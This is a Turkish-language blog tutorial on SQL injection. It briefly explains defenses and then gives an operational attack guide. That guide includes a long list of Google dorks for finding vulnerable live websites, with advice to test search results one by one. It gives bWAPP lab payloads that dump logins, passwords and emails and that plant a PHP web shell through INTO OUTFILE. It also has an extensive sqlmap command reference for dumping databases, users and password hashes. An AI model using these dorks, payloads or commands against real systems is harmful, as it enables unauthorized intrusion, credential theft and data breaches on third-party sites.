SQL injection güvenlik açığı, kullanıcı kontrollü datalarının güvensiz bir şekilde veritabanı SQL sorgularına dâhil edildiğinde ortaya çıkmaktadır. Saldırgan, girdilerinin göründüğü veri bağlamından kurtulmak için hazırlanmış girdi sağlayabilir ve çevreleyen sorgunun yapısına müdahale edebilir. SQL injection yoluyla kritik uygulama verilerini okuma veya değiştirme, uygulama mantığına müdahale etme, veritabanı içinde hak yükseltme ve veritabanı sunucusunu kontrol etme dâhil olmak üzere geniş çaplı zararlı saldırılar gönderilebilir.

 

Hazırlamış olduğum payload listesini aşağıdaki linkten edinebilirsiniz.

https://github.com/omurugur/Sql_Injection_Payload

SQL İNJ TÜRLERİ

 

1-Union based sql inj

Union sorgusu ile yapılan ataktır.

2-Blind sql inj

Manuel yerine exploit veya tool ile yapılır. And yardımıyla sayfanın cevap verip vermediği denenir.

3-Time based sql inj.

Output verilmiyorsa sleep , delay gibi fonk. Kullanılarak saldırılır. Eğer şu koşula uyuyorsa 1sn beklet , uymuyorsa 2 sn beklet şeklinde

Çözümü ; 

SQL injection saldırılarını önlemenin en etkili yolu, parameterized sorgularını (hazır ifadeler olarak da bilinir) tüm veritabanı erişimleri için kullanmaktır. Bu metot, potansiyel olarak bozulmuş verileri SQL sorgularına eklemek için iki adım kullanır: ilk olarak, uygulama kullanıcı girdisinin her bir öğesine placeholder bırakarak sorgunun yapısını belirtir; İkincisinde, uygulama her placeholder ın içeriğini belirtir. Çünkü sorgunun yapısı zaten ilk adımda tanımlandığından, ikinci adımdaki hatalı biçimlendirilmiş verilerin sorgu yapısına müdahale etmesi mümkün değildir. Parameterized sorgular gerçekleştirmek için kullanabileceğiniz uygun API’leri belirlemek için veritabanınızın ve uygulama platformunuzun dokümanlarını gözden geçirmelisiniz. Görünür şekilde bozulmuş olmasa bile, veritabanı sorgularına dahil edilen her değişken veri maddesini parametreli hale getirmeniz, sapmaları önlemek ve uygulamanın herhangi bir yerinde yapılan kod tabanlı değişikliklerin oluşturacağı güvenlik açıklıklardan kaçınmanız adına şiddetle tavsiye edilir.

SQL injection açıkları için sıkça kullanılan ve önerilen önlemlerin her zaman etkili olmadığının farkında olmalısınız:

  • Bilinen bir savunma yöntemi olarak, kullanıcı girdisini bir SQL sorgusuna dahil etmeden önce girdide görünen tek tırnak işaretleri ikiye çıkarılmaktadır. Bu savunma hatalı verilerin girildiği string in sonlandırılmasını önlemek için tasarlanmıştır. Ancak, sorgulara dahil edilen veriler sayısal ise, savunma başarısız olabilir, çünkü sayısal veriler tırnak içine alınmaz, bu durumda veri bağlamından kopmak ve sorguyu müdahale etmek için yalnızca bir boşluk gereklidir. Ayrıca, ikinci derece SQL injection saldırılarında, veritabanına başlangıçta eklendiğinde güvenli bir şekilde çıkmış veriler daha sonra veritabanından okunur ve tekrar geri gönderilir. Başlangıçta ikiye çıkarılan tırnak işaretleri, veriler tekrar kullanıldığında savunmanın atlanmasına izin verilerek orijinal formlarına dönecektir.
  • Sıklıkla belirtilen diğer savunma yöntemi ise database erişimleri için stored procedurelar kullanmaktır. Stored procedurelar güvenlik faydaları sağlarken SQL injection saldırılarını önleme garantisi yoktur. Stored procedurelarda herhangi bir SQL dinamik olarak yapılandırılmışsa, standart dinamik SQL sorgularında ortaya çıkan bulguların benzeri oluşabilir. Ayrıca, procedure güvenilir olsa bile procedure ün kullanıcı kontrollü verileri kullanarak güvensiz bir şekilde çağrılması durumda SQL injection meydana gelebilir.

Zafiyeti biraz açıkladıktan sonra şimdi gelelim örneklere ;

1. Adım: Zafiyet barındıran bir Web Sitesi Bulun

Google Dorks’ı nasıl kullanacağınız bilmeniz gerekmektedir , bunun için aşağıdaki komutlarıda temel olarak kullanabilirsiniz.

[the_ad_placement id=”after-content”]

Adım 1.a: Savunmasız SQLMAP SQL enjekte edilebilir web sitesini bulmak için Google Dorks dizeleri

Bu liste gerçekten uzun ..  SQL’i biliyorsanız, daha fazlasını buraya ekleyebilirsiniz.

 

Google Dork string Column 1 Google Dork string Column 2 Google Dork string Column 3
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id=
inurl:avd_start.php?avd= inurl:download.php?id=
inurl:event.php?id= inurl:main.php?id=
inurl:product-item.php?id= inurl:review.php?id=
inurl:sql.php?id= inurl:chappies.php?id=
inurl:material.php?id= inurl:read.php?id=
inurl:clanek.php4?id= inurl:prod_detail.php?id=
inurl:announce.php?id= inurl:viewphoto.php?id=
inurl:chappies.php?id= inurl:article.php?id=
inurl:read.php?id= inurl:person.php?id=
inurl:viewapp.php?id= inurl:productinfo.php?id=
inurl:viewphoto.php?id= inurl:showimg.php?id=
inurl:rub.php?idr= inurl:view.php?id=
inurl:galeri_info.php?l= inurl:website.php?id=

 

yukarda yazan dizeleri aratınca binlerce sonuçla karşılaşacaksınız . örnek olarak arasından bir tane seçip özetlemeye çalışacağım.Bunun için  en uygun örnek uzantısı ? xx=12 vb. şeklinde biten bir hedef seçmek.

 

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15

 

Seçmiş olduğum url’e sadece URL’nin sonunda tek bir tırnak işareti ekleyin. (Sadece emin olmak için)

Yani şimdi URL’niz şöyle olacak:

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'

Sayfa bir SQL hatası döndürürse, sayfa SQLMAP SQL Injection’a karşı savunmasızdır. Sizi farklı bir sayfaya yükler veya yönlendirirse, Google arama sonuçları sayfanızdaki sonraki siteye geçin.

 

Ekran görüntüsünde aşağıdaki örnek hatayı görün. Açık nedenlerle URL ve sayfa tasarımı dahil olmak üzere her şeyi gizledim.

 

 

Bwapp örnekleri 

bwapp ile ilgili kısaca açıklama yapmam gerekirse ,  bir web sitesinde olabilecek tüm açıkların yer aldığı bir pentest ve hacking test laboratuvarıdır.

 

aşağıda yapmış olduğum testin görselleri , görsellerin en alt kısmında da gerekli SQL cümleciklerini paylaşıyorum.

 

 

 

  • sqli_1.php?title=’&action=search
  • sqli_1.php?title=iron’ or 1=1#&action=search
    bWAPP Page
  • sqli_1.php?title=validEntry’ or 1=2#&action=search
  • sqli_1.php?title=iron’ union select 1,2,3,4,5,6,7 #&action=search
  • sqli_1.php?title=iron’ union select 1,user(),@@version,4,5,6,7 #&action=search
  • Select * from movies where title like ‘iron’
  • iron’ union select 1,login,password,email,5,6,7 from users #
  • sqli_1.php?title=iron’ union select 1,”<?php echo shell_exec($_GET[‘cmd’])?>”,3,4,5,6,7 into OUTFILE ‘/var/www/bWAPP/popped.php’#&action=search

SQLMAP Nedir ? Nasıl Kullanılır  ? Komutları nelerdir ? 

Şimdi gelelim SQLmap nedir ve nasıl kullanılır .

Linux işletim sisteminde bulunan açık kaynak kodlu sızma testi aracı olan sqlmap  , SQL enjeksiyon zafiyetini ortaya çıkarmaya yaramaktadır. SQL cümleciklerini otomatize bir şekilde deneyerek web sitesi üzerinden giden istekleri manipüle etmesi  sonucu veri tabanı ile alakalı bilgileri ele geçirmeye , işlem yaptırmaya yarayan araçtır. Kali Linux içerisinde kurulu bir şekilde gelmektedir.

Parametreleri tanıyacak olursak ,

Options sekmesi:

-h, –help: Basit yardım ve kullanım özelliklerini yazdıran komutumuz.

-hh: Advanced yardım ve kullanım özelliklerini yazdıran komutumuz.

–version: Mevcut sqlmap sürümünü gösteren ve çıkış yapan komutumuz.

-v: Default olarak 1 tanımlı gelen ve sqlmap çalıştığı süre zarfında bize gösterdiği çıktıların gösterimini belirlediğimiz verbose komutumuz. 0 ile 6 arasında değişmekte. 0 en az çıktıyı döndürürken, 6 en çok çıktı ile sonuçları döndürmekte.

Target sekmesi: Hedef(ler)in seçimini yapmamız için kullanmamız gereken parametrelerin bulunduğu kategorimiz. En azından birinin seçilmesi gerekmektedir.

-d: Veritabanına direct erişim yapabileceğimiz link eğer elimizdeyse, kullanabileceğimiz komutumuz. Örnek kullanım:

sqlmap -d  mysql://root:[email protected].x:3306/Information_Schema

ile Mysql kullanan ve verilen ip adresinin 3306 portu üzerinden, belirttiğimiz kullanıcı adı ve şifre ile information_schema bilgisinin çekilmesi işlemini yapabiliyoruz.

-u, –url: Veribanına direkt erişimimiz yoksa ve injection yolu ile deneme yapmak istiyorsak, kullanabileceğimiz komutumuz.Örnek kullanım:

sqlmap -u “http://www.websitesi.com/test.php?id=1”

-l: Burp veya WebScarab ile çekilmiş log dosyalarını kullanarak, testler gerçekleştirmemizi sağlayan komutumuz. Örnek kullanım:

sqlmap -l /home/user/Desktop/log.txt

-x: Sitemap(.xml) dosyasını kullarak testler gerçekleştirmemizi sağlayan komutumuz. Örnek kullanım:

sqlmap -x “http://www.siteadresi.com/sitemap.xml”

-m: Belirlenen txt dosyası içerisindeki linkleri satır satır deneme usulü ile testlerimizi gerçekleştirmemizi sağlayan parametremiz. Örnek kullanım:

sqlmap -m /home/user/Desktop/pentest.txt

-r: Belirlenen txt dosyası içerisinde verilmiş olan requestleri(post/get) kullanarak, testlerimizi gerçekleştirmemizi sağlayan parametrelerimiz. Örnek kullanım:

sqlmap -r /home/userDesktop/request.txt

-g: Google dork ile belirli bir pattern’e sahip siteler üzerinde testler gerçekleştirmemizi sağlayan komutumuz. Örnek kullanım:

sqlmap -g “.php?id=”

-c: Sqlmap ayarlarının custom bir config.ini dosyasından yüklenmesini istiyorsak kullanacağımız komutumuz. Örnek kullanım:

sqlmap -c customconfig.ini -g ….

Request Sekmesi: Hedef URL’e bağlantı ile ilgili yapacağımız ayarlamaları belirttiğimiz parametrelerin bulunduğu kategorimiz.

–data: POST metodu ile gönderim yapılacağı zaman, gönderilecek verinin tanımlandığı kısım. Örnek kullanım:

sqlmap -u “www.siteadi.com/login.php” –data=”username=example&password=example&action=submit”

–param-del: Gönderilecek değerlerin hangi değerlerden itibaren ayrılmasının belirleneceği komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/login.php” –data=”username=example&password=example&action=submit” –param-del=”&”

–cookie: Eğer site içerisinde testler için bir cookie kullanmamız gerekiyorsa, kullanacağımız parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/uye.php?id=12345″ –cookie=”session=a235723v5sdg35”

–cookie-del: Cookie içeriside gönderilecek değerlerin hangi değerlerden itibaren ayrılması gerektiğiin belirleneceği komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/uye.php?id=12345″ –cookie=”session=a235723v5sdg35″ –cookie-del=”&”

–load-cookies: Netscape/wget formatında tanımlı dosya içerisinden cookielerin yüklenmesi amacı ile kullanılan komutumuz. Örnek kullanım:

sqlmap -u “www.siteadi.com/uye.php?id=12345” –load-cookies /home/user/Desktop/cookieLoader.txt

–delay: Her bir HTTP request için aralarda beklenilecek süreyi saniye cinsinden ifade etmek amacıyla kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –delay=5

 

Injection Sekmesi: Hangi parametrelerin test edileceği, kişisel payload tanımlamaları ve tamper scriptleri tanımlamaları gibi ayarlamaları yapabileceğimiz parametrelerin bulunduğu kategorimiz.

-p: Verilen parametreler içerisinde sadece belirli parametrelerin test edilmesini istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?username=asd&password=asd&denemeA=1&denemeB=2&denemeC=3” -p denemeA

–skip: Verilen parametreler içerisinde sadece bazı parametrelerin test edilmesini istemiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?username=asd&password=asd&denemeA=1&denemeB=2&denemeC=3” –skip denemeA,denemeB,denemeC

–dbms: Sqlmap’e yardımcı olmak adına, eğer backend’de çalışan database management system’i biliyorsak, dbms ile tanımlayabilmekteyiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –dbms=”MySql”

–os: Sqlmap’e yardımcı olmak adına, eğer işletim sistemini biliyorsak, os ile bunu da tanımlayabilmekteyiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –dbms=”MySql” –os=”Linux”

 

Detection Sekmesi: Risk ve seviye belirleme gibi, belirleme adımlarını belirlemek için kullanabileceğimiz parametrelerimizin bulunduğu kategorimiz.

–level: 1 ile 5 arasında değerler alabilen parametremiz. 1. seviyede daha kısıtlı testler denetlenirken, 5.seviyede daha fazla payload, daha detaylı prefix ve suffixler ile zenginleştirilmiş payloadlar kullanılmaktadır. Ayrıca HTTP Cookie başlığı 2.seviyeden sonra ve HTTP User-Agent/Referer başlıkları da seviye 3’ten sonra denetlenmektedir. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –level=5

–risk: 1 ile 3 arasında değerler alabilen parametremiz. Eğer belirtilmezse default olarak 1 değerini alır. Risk 1 daha sınırlı sql cümleleri ile denetleme yapar. Risk 2’de risk 1’in üzerine heavy-query time based saldırılar da denetlemeye tabii tutulur. Risk 3’te ise ekstradan Or-based testler de eklenir.

sqlmap -u “www.siteadi.com/testet.php?id=1” –risk=3

 

Techniques Sekmesi: Kullanılacak SQL Injection tekniklerini belirlemek için kullanacağımız parametrelerimizin bulunduğu kategorimiz.

–technique: Kullanılacak SQL Injection tekniklerini belirlediğimiz parametremiz. Default olarak BEUSTQ ( Bool-Based Blind, Error-Based, Union-Query Based, Stacked Query, Time-Based Blind, Inline Queries). Ancak bunlardan sadece bazılarının test için kullanılmasını istiyorsak o zaman örnek kullanımımız aşağıdaki gibi olmakta:

sqlmap -u “www.siteadi.com/testet.php?id=1″ –technique=”BEST”

–time-sec: DBMS cevabının gecikmesi için belirlenen süreyi tanımlayabileceğimiz parametremiz. Default olarak 5 tanımlıdır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –time-sec=10

 

Enumeration Sekmesi: Veritabanı yönetim sistemi hakkında bilgilendirme için kullanacağımız parametrelerin bulunduğu kategorimiz. Tablo içerisindeki verileri çekme, bilgi alma amacıyla kullanılır.

 –all: Allah Ne Verdiyse modu. Çekebileceği her türlü veriyi çeker. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –all

-b ya da –banner: Veritabanının içerisinde bulunduğu işletim sistemi, veritabanı sürümü gibi bilgileri çekmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -b

–current-user: Veritabanı yönetim sisteminin, backend DBMS’ten web uygulamasına sorgu gerçekleştiren kullanıcısını bulmak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –current-user

–current-db:  Web uygulamamamızın bağlı olduğu veritabanı ismini çekmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –current-db

–hostname: Ana bilgisayarımızın(host) ismini döndürür. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –hostname

–is-dba: Çektiğimiz kullanıcının veritabanı admini(Database Admin) olup olmadığını sorgulamak için kullanabileceğimiz parametremiz. Eğer admin ise true, değilse false değer döner. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –is-dba

–users: Veritabanı yönetim sistemi kullanıcılarını listelemek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –users

–passwords: Eğer geçerli userın, sistem tablolarını okuma izni var ise, şifreleri hash olarak çekmemize yardımcı olur. Sqlmap bu işlem için önce kullanıcıları çeker. Ardından pass hashlerini çekmeye çalışır. Örnek kullanım

sqlmap -u “www.siteadi.com/testet.php?id=1” –passwords

–privileges: Eğer geçerli userın, sistem tablolarını okuma izni var ise, veritabanı üzerindeki kullanıcıların yetki düzeylerini bize veren parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –privileges

–roles: Eğer geçerli userın, sistem tablolarını okuma izni var ise, veritabanı üzerindeki kullanıcıların rollerini çekmek için kullanabileceğimiz parametremiz. Sadece veritabanı, ORACLE ise çalışacaktır. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –roles

–dbs: Eğer geçerli userın, sistem tablolarını okuma izni var ise, veritabanı isimlerini çekebilmemize yarayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dbs

–tables: Eğer geçerli userın, sistem tablolarını okuma izni var ise, seçtiğimiz veritabanı içerisindeki tüm tabloları çekebilmemize yarayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –tables
sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniadi –tables

–columns:  Eğer geçerli userın, sistem tablolarını okuma izni var ise, seçtiğimiz veritabanı içerisindeki seçtiğimiz tablodaki tüm kolonları çekmemize yarayan parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –columns
sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –columns

–schema: Eğer geçerli userın, sistem tablolarını okuma izni var ise, seçtiğimiz sistemin tablolarını ve değişken tiplerini tablolar halinde çıktı göstermek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –schema

–count: Eğer veritabanları, tablolar ya da kolonlar içerisindeki kayıt sayısını öğrenmek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –count -D veritabaniAdi
sqlmap -u “www.siteadi.com/testet.php?id=1” –count -D veritabaniAdi -T tabloAdi

–dump: Veritabanımız ya da tablomuzun içeriğini dump etmek istiyorsak, kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi –dump

–dump-all: Veritabanları ya da tabloların hepsini dump etmek istiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –dump-all

–search: Veritabanları, tablolar ya da kolonları aramak için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –search -T bunuAra

–comments: Veritabanı için tanımlı comment’leri çekmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –comments

-D: Veritabanlarını doğru bir şekilde çekebildiğimiz takdirde, hangi veritabanını kullanarak işleme devam etmek istediğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi

-T: Tabloları doğru bir şekilde çekebildiğimiz takdirde, hangi tabloyu kullanarak işleme devam etmek istediğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi

-C: Kolonları doğru bir şekilde çekebildiğimiz takdirde, hangi kolonu/kolonları kullanarak işleme devam etmek istediğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi -C kolonAdi1,kolonAdi2,kolonAdi3 –dump

-X: Kolonları doğru bir şekilde çekebildiğimiz takdirde, hangi kolonu/kolonları çekmek istemediğimizi tanımlayabileceğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D veritabaniAdi -T tabloAdi -X istenmeyenKolon –dump

-U: Userları doğru bir şekilde çekebildiğimiz takdirde, hangi userı kullanarak işleme devam etmek istediğimizi belirtmek için kullanabileceğimiz parametremiz. Örnek kullanımı:

sqlmap -u “www.siteadi.com/testet.php?id=1” -U username

–exclude-sysdbs: System database’lerini injection testlerimiz içerisinde kullanmak istemiyorsak kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” –exclude-sysdb –dbs

 –where: Tablolarımızı dump ederken WHERE sorgusu kullanarak dump etmek için kullanabileceğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.site.com/testet.php?id=1″ -D db -T tbl –where=”category_id=1”

–start: Dump işlemini hangi kayıttan itibaren yapacağımızı belirttiğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –start=2

–stop: Dump işlemini hangi kayıtta sonlandıracağımızı belirttiğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –stop=10

–first: Dump işlemini hangi karakterden itibaren yapacağımızı belirttiğimiz parametremiz. Örnek kullanım:

sqlmap -u “www.siteadi.com/testet.php?id=1” -D db -T tbl –first=1

–last: Dump işlemini hangi karakterde sonlandıracağımızı belirttiğimiz parametremiz.

Elimden geldiğince özetlemeye çalıştım , bunların haricinde ikinci yazımda ileri seviye sqlmap kullanımını anlatacağım , takipte kalın 🙂

 

 

 

1 Comment

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir